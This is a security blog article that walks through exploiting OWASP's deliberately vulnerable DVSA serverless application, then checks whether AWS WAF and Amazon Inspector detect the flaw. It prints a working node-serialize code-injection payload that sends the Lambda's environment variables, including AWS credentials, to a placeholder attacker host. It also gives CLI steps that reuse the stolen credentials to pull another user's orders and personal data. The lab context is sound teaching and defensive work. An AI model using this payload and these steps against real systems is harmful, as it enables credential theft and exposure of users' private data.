The previous article covered common AWS Lambda vulnerabilities and best practices for avoiding them. This article applies theory to concrete examples of vulnerable serverless applications. Additionally, we’ll explore the capabilities of AWS security tools such as AWS WAF and Amazon Inspector in identifying and mitigating these vulnerabilities. Through hands-on demonstrations and analysis, this article aims to equip readers with a better understanding of serverless security risks and the tools available to combat them.
OWASP - DVSA
I planned to write a Python Lambda function with os.system() vulnerability to demonstrate the event-data injection - but then I discovered the DVSA, a Damn Vulnerable Serverless Application, created by Tal Melamed and published by the OWASP foundation. It is full of vulnerabilities to demonstrate, so it sounded interesting. It can also be found in the AWS Serverless Application Repository for easy and fast deployment.
I won’t instruct you on installing the DVSA, but video instructions are provided here if you are interested. DO NOT deploy vulnerable applications to your production environment or any AWS account containing valuable resources; delete the resource stack after experimenting!
After installation, you can log in to this beautiful web store using the admin email address provided during the deployment (details can be found in the CloudFormation stack outputs).
OWASP DVSA web store application
I registered two additional users with the self-register form and ordered some great products for one of these users to get sample data.
Event Injection
Let’s examine the first lesson provided. It provides two examples: code Injection via API Gateway and command injection via S3 bucket. Let’s dig deeper into the API Gateway example.
Function Runtime Code Injections
The application has a REST API, implemented with Amazon API Gateway, and is backed by a Lambda function that handles requests. DynamoDB is used as a data storage and Cognito User Pool as a user directory:
DVSA application architecture
You can check the exact URL from the API Gateway settings. The Lambda function ”DVSA-ORDER-MANAGER” behind the “POST /order” method execution uses an insecure de-serialization for the data in the request, and it’s possible to inject JavaScript code into the function that will execute it.
During my investigation, I noticed that the web application uses an Amazon Cognito access token in the Authorization header. However, the signature is not validated by the API gateway or the backend Lambda, so sending requests and impersonating other users is possible with forged tokens. The Broken Authentication Scheme use case is covered in the second lesson. I recommend the validation at API Gateway before the function so that you don’t need to use Lambda compute time or pollute the function code. See AWS documentation for details.
You can get the token from the web app with browser developer tools (local storage, key ending with .accessToken) or with the following AWS CLI command if you don’t want to hack it right now:
aws cognito-idp admin-initiate-auth \
--auth-flow ADMIN_NO_SRP_AUTH \
--user-pool-id <your cognito user pool id> \
--client-id <your cognito client id> \
--auth-parameters USERNAME=<your username>,PASSWORD=<your password>
To list my orders with the API, I can POST a simple JSON:
{"action":"orders"}
Response (my sample user does have some orders):
{
"status": "ok",
"orders": [
{
"order-id": "820d5a21-9293-4a10-95c2-17151abf17a4",
"date": 1724222554,
"total": 128,
"status": "processed",
"token": "hFn7qYK9615R"
},
{
"order-id": "e6e0b49d-539a-45d2-886e-d8c51f2d7fa1",
"date": 1724222485,
"total": 77,
"status": "processed",
"token": "kuM7j6QT9xY5"
}
]
}
Now, we can inject some code to send all environment variables to a remote address:
{"action": "_$$ND_FUNC$$_function(){var h=require(\"https\");h.get(\"https://<ATTACKER REMOTE ADDRESS>?\"+Buffer.from(JSON.stringify(process.env)).toString('base64'));}()", "cart-id":""}
I used ngrok to create a tunnel for an agent running in my Kali Linux virtual machine:
Using ngrok for tunneling the application responses
If we decode and pretty print the message with the help of base64 and jq commands with Linux or Mac:
echo "eyJBV1NfTEFNQ..." | base64 -d | jq
Boom, we have the AWS credentials to be used with the access rights of the lambda function:
Hacked environment variables with AWS credentials
Note: The code from the lesson instructions needs to be modified a little if you want to try those out. Nowadays, the provided example throws an error because the aws-sdk module version 2 can’t be found from Node.js 18.x runtime. You need to use SDK v3.
Using the Leaked Credentials
We can further examine what we can do with the AWS CLI. Let’s first export the keys with a terminal to environment variables:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
And let’s test it with the get-caller-identity command:
aws sts get-caller-identity
Response:
{
"UserId": "AROARCVGIMMWLWLFMMJR6:DVSA-ORDER-MANAGER",
"Account": "XXXXXXXXXXXX",
"Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/serverlessrepo-OWASP-DVSA-OrderManagerFunctionRole-wapcTLGbyksv/DVSA-ORDER-MANAGER"
}
As we can see, we have now assumed the order manager function role. We can then further try out if the user has additional IAM permissions to list, for example, the attached policies for that role:
aws iam get-account-authorization-details --filter Role --query 'RoleDetailList[?RoleName==`serverlessrepo-OWASP-DVSA-OrderManagerFunctionRole-wapcTLGbyksv`]
Fortunately, the role has limited IAM permissions, and AccessDenied will be returned. You need to figure out the permissions by testing. Check out also these hacking tricks for privilege escalation with Lambdas.
We know that the order manager function can call other Lambda functions. We can also do that with the CLI now to get, for example, our victim’s order data:
aws lambda invoke \
--cli-binary-format raw-in-base64-out \
--function-name DVSA-ORDER-ORDERS \
--payload '{ "user": "12312312-1233-1233-1233-123123123123" }' \
response.json
less response.json | jq
{
"status": "ok",
"orders": [
{
"order-id": "820d5a21-9293-4a10-95c2-17151abf17a4",
"date": 1724222554,
"total": 128,
"status": "processed",
"token": "hFn7qYK9615R"
},
{
"order-id": "e6e0b49d-539a-45d2-886e-d8c51f2d7fa1",
"date": 1724222485,
"total": 77,
"status": "processed",
"token": "kuM7j6QT9xY5"
}
]
}
Or we can leak personally identifiable information:
aws lambda invoke \
--cli-binary-format raw-in-base64-out \
--function-name DVSA-USER-ACCOUNT \
--payload '{ "user": "12312312-1233-1233-1233-123123123123" }' \
response.json
less response.json | jq
{
"status": "ok",
"account": {
"avatar": "",
"address": "Test Street 123",
"fullname": "Poor User",
"phone": "+234324234232345",
"userId": "12312312-1233-1233-1233-123123123123"
}
}
How about having an AWS Web Application Firewall in front of the API Gateway? Would it notice or block the injection?
AWS Web Application Firewall
AWS Web Application Firewall (AWS WAF) is a web application firewall that you can use to monitor web requests that end users send to your applications and control access to your content. Our architecture would have an additional layer of security in front of the API Gateway:
DVSA application architecture with AWS WAF
Creating the Web ACL
First, we must create a Web Access Control List (Web ACL) for the API Gateway. Head to the WAF & Shield service and Web ACLs section. Note that you must select the region where you deployed the DVSA.
Creating the Web ACL
I’m using the name DVSA-ACL, and I selected “DVSA-APIS - dvsa” to be the associated resource:
Web ACL association
From the rule groups, I selected all free rules. Otherwise, all settings are left as default:
Web ACL rules
The list doesn’t state explicitly that any of these free rule groups block the JavaScript code injections, and yes! The request goes through also with the AWS WAF with these rules. If I add <script> tag to the payload, the API request gets blocked by AWS-AWSManagedRulesCommonRuleSet as Cross Site Scripting.
I also added AWS-AWSManagedRulesBotControlRuleSet from the non-free Amazon-managed rule sets, and it blocks the request. Still, it blocks the request only because of the non-browser user agent rule—I was using curl for the request. Some partner rule sets from AWS Marketplace could offer the needed guardrails, but I scoped those out from this article.
How about the vulnerability scanner? Does it notice the code injection vulnerability?
Amazon Inspector
Amazon Inspector is an automated vulnerability management service that continually scans AWS workloads for software vulnerabilities and unintended network exposure. AWS offers a 15-day free trial for testing the service
I activated the service with both standard and code scanning. Lambda standard scanning scans application dependencies within a Lambda function and its layers for dependency package vulnerabilities. Lambda code scanning scans custom application code in a Lambda function.
Inspector Findings
Amazon Inspector generates a finding when it detects a vulnerability. A finding is a detailed report about a vulnerability impacting one of your AWS resources. And yes, there are 31 findings from the DVSA at the time of writing. Both package and code vulnerabilities. Here are the results by Lambda function:
Amazon Inspector findings on Lambdas
Let’s look at the “DVSA-ORDER-MANAGER” from our event injection example by clicking the function name link:
Amazon Inspector findings DVSA Order Manager Lambda
Two critical findings are related to the node-serialize package version 0.0.4 for Node.js. Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE). The finding details also suggest remediation actions; in this case, there is no patch available:
Critical finding - node-serialize
Amazon Inspector scores the vulnerability based on the National Vulnerability Database (NVD) base score and adjusts them according to your computing environment. For example, the service may lower the Amazon Inspector score of a finding if the vulnerability is exploitable over the network. Still, no open network path to the internet is available from the instance. In this case, both are the same:
Amazon Inspector - finding score
The last is a vulnerability in the function code where JSON.parse() is used on tainted user input. The tool reports the location and suggested remediation actions:
Amazon Inspector - finding report with suggested remediation
Note lines 10 and 11. The package vulnerability mentioned relates to those lines so that malicious code can be injected from both the event body and the headers. The code scanning finding did not highlight this separately.
Conclusion
This article demonstrated practical examples of vulnerabilities in serverless applications using the OWASP Damn Vulnerable Serverless Application (DVSA). We explored event injection attacks through API Gateway and examined how these vulnerabilities can be exploited to gain unauthorized access to sensitive information and execute malicious code.
We also evaluated the effectiveness of AWS security tools in detecting and preventing these vulnerabilities. While AWS WAF with default rules proved insufficient in blocking JavaScript code injections, Amazon Inspector successfully identified critical vulnerabilities in both package dependencies and custom code.
This exploration highlights the importance of implementing robust security measures in serverless architectures, including proper input validation, secure deserialization practices, and regular vulnerability scanning. It also underscores the need for developers and security professionals to stay informed about potential vulnerabilities and leverage available security tools to enhance the protection of serverless applications.